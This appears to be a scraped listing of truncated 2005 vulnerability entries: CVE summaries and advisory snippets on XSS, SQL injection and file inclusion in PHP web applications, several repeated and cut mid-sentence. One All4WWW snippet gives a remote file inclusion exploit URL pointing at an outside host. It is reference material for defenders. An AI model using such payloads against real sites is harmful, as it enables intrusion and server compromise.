CVE-2005-1233

Cross-site scripting XSS vulnerability in index.php in PHP Labs proFile allows remote attackers to inject arbitrary web script or HTML via the 1 dir or 2 file parameters...

CVE-2005-1233

The CVE-2005-1233 issue concerns an XSS vulnerability in the PHP Labs proFile product’s index.php, exploitable via the (1) dir and (2) file parameters. The root cause is unsanitized input leading to arbitrary script/HTML injection in responses. Impact is remote code/input manipulation potential f...

CVE-2005-1203

Summary: CVE-2005-1203 affects eGroupWare. Multiple SQL injection vulnerabilities exist in index.php, exploitable via the (1) filter and (2) cats_app parameters, allowing remote attackers to execute arbitrary SQL commands. Affected versions are before 1.0.0.007. The vulnerability has a CVSSv2 bas...

CVE-2005-1202

Multiple cross-site scripting XSS vulnerabilities in eGroupware before 1.0.0.007 allow remote attackers to inject arbitrary web script or HTML via the 1 abid, 2 page, 3 type, or 4 lang parameter to index.php or 5 categoryid parameter...

CVE-2005-1233

Cross-site scripting XSS vulnerability in index.php in PHP Labs proFile allows remote attackers to inject arbitrary web script or HTML via the 1 dir or 2 file parameters...

egroupware -- multiple cross-site scripting (XSS) and SQL injection vulnerabilities

Multiple cross-site scripting XSS vulnerabilities in eGroupware before 1.0.0.007 allow remote attackers to inject arbitrary web script or HTML via the 1 abid, 2 page, 3 type, or 4 lang parameter to index.php or 5 categoryid parameter. Multiple SQL injection vulnerabilities in index.php in...

AzDGDatingPlatinum.txt

ADZ Security Team =================== Info Program: AzDGDatingPlatinum Version: tested 1.1.0 Modules: view.php, members/index.php Bug type: SQL Injection, XSS Vendor site: http://www.azdg.com/ Vendor Informed: Yes =================== Bug Info SQL Injection: At module view.php I've found a logical...

CVE-2005-1143

EasyPHPCalendar vulnerability CVE-2005-1143: XSS in index.php via the yr parameter, affecting versions prior to 6.2.8. Remote code execution of arbitrary scripts/HTML possible as described. Remediation: upgrade to 6.2.8 or later. No exploitation details provided in the connected documents.

All4WWW-Homepagecreator Remote Command Execution

Script: All4WWW-Homepagecreator Version: v1.0a Vendor: http://www.All4WWW.com I. Bug Code On index.php ... if!$site $site="home"; include "$site.dat"; ... II. Exploit vuln-host/index.php?site=http://host/some-file PS.: The vendor wasn't inform. by DominusVis Infektion Group...

All4WWW-HomePageCreator 1.0 - 'index.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/13169/info All4WWW-Homepagecreator is affected by an arbitrary remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an 'include' function call. An attacker may...

CVE-2005-1079

The CVE-2005-1079 entry describes a SQL injection in zOOm Media Gallery 2.1.2 through the catid parameter in index.php, allowing remote attackers to execute arbitrary SQL commands. Affected software: zOOm Media Gallery 2.1.2 (index.php vulnerability in catid). Root cause: unsafely concatenated us...

CVE-2005-1073

CVE-2005-1073 describes a directory-traversal vulnerability in RadScripts RadBids Gold 2, where an attacker can read arbitrary files via the read parameter in index.php. The NVD entry lists a 5.0/Medium CVSS v2 base score with network exposure and no authentication, indicating remote access is po...

CVE-2005-1074

CVE-2005-1074 : SQL injection in index.php for RadScripts RadBids Gold 2. An attacker can supply the mode parameter to remotely execute arbitrary SQL commands. Affected: RadScripts RadBids Gold 2; vulnerability arises in the index.php handling of mode. CVSSv2 base score 7.5 (HIGH) with network ac...

CVE-2005-1074

SQL injection vulnerability in index.php for RadScripts RadBids Gold 2 allows remote attackers to execute arbitrary SQL commands via the mode parameter...

CVE-2005-1143

Cross-site scripting XSS vulnerability in index.php in EasyPHPCalendar before 6.2.8 allows remote attackers to inject arbitrary web script or HTML via the yr parameter...

CVE-2005-1083

index.php in aeDating 3.2 allows remote attackers to include arbitrary files via the skin parameter...

CVE-2005-1075

Multiple cross-site scripting XSS vulnerabilities in RadScripts RadBids Gold 2 allow remote attackers to inject arbitrary web script or HTML via 1 the farea parameter to faq.php or the 2 cat, 3 order, or 4 area parameters to index.php...

CVE-2005-1083

CVE-2005-1083 concerns index.php in aeDating 3.2, where an attacker can remotely include arbitrary files via the skin parameter. This is a plain file inclusion vulnerability and results in arbitrary file inclusion. Context from multiple sources (NVD/Red Hat/CVE records) confirms the affected prod...

CubeCart <= 2.0.6 Multiple SQL Injections

The installed version of CubeCart on the remote host suffers from multiple SQL injection vulnerabilities due to its failure to sanitize user input via the 'PHPSESSID' parameter of the 'index.php' script, the 'product' parameter of the 'tellafriend.php' script, the 'add' parameter of the...

CVE-2005-0992

Cross-site scripting XSS vulnerability in index.php in phpMyAdmin before 2.6.2-rc1 allows remote attackers to inject arbitrary web script or HTML via the convcharset parameter...